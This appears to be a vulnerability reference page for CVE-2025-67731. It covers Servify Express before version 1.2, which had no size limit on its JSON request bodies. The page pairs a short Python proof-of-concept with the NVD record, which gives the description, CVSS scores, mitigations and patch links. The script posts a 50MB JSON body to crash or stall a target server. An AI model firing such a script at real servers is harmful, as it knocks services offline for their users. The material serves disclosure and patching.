CVE-2025-67731

import requests # CVE-2025-67731 PoC - Denial of Service via unlimited JSON body # Target: Servify Express < 1.2 target_url = "http://target-server:3000/api/endpoint" # Generate large JSON payload (50MB) large_json = {"data": "A" * 50 * 1024 * 1024} headers = { "Content-Type": "application/json", "User-Agent": "CVE-2025-67731-PoC" } print(f"[*] Sending large JSON payload to {target_url}") print(f"[*] Payload size: {len(str(large_json)) / (1024*1024):.2f} MB") try: response = requests.post(target_url, json=large_json, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (expected): {e}") print("[+] Target may be vulnerable - server crashed or timed out")

{"cve": {"id": "CVE-2025-67731", "sourceIdentifier": "[email protected]", "published": "2025-12-12T08:15:48.367", "lastModified": "2026-03-17T19:40:55.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Servify Express is a Node.js package to start an Express server and log the port it's running on. Prior to 1.2, the Express server used express.json() without a size limit, which could allow attackers to send extremely large request bodies. This can cause excessive memory usage, degraded performance, or process crashes, resulting in a Denial of Service (DoS). Any application using the JSON parser without limits and exposed to untrusted clients is affected. The issue is not a flaw in Express itself, but in configuration. This issue is fixed in version 1.2. To work around, consider adding a limit option to the JSON parser, rate limiting at the application or reverse-proxy level, rejecting unusually large requests before parsing, or using a reverse proxy (such as NGINX) to enforce maximum request body sizes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:servify-express.js:servify_express:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.2", "matchCriteriaId": "344861D6-7A4A-4E5A-8564-68A5E8DE0E01"}]}]}], "references": [{"url": "https://github.com/Aarondoran/servify-express/commit/8dff7f56504b356278d849734ef2050e5cd23b61", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Aarondoran/servify-express/releases/tag/V1.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Aarondoran/servify-express/security/advisories/GHSA-qgc4-8p88-4w7m", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}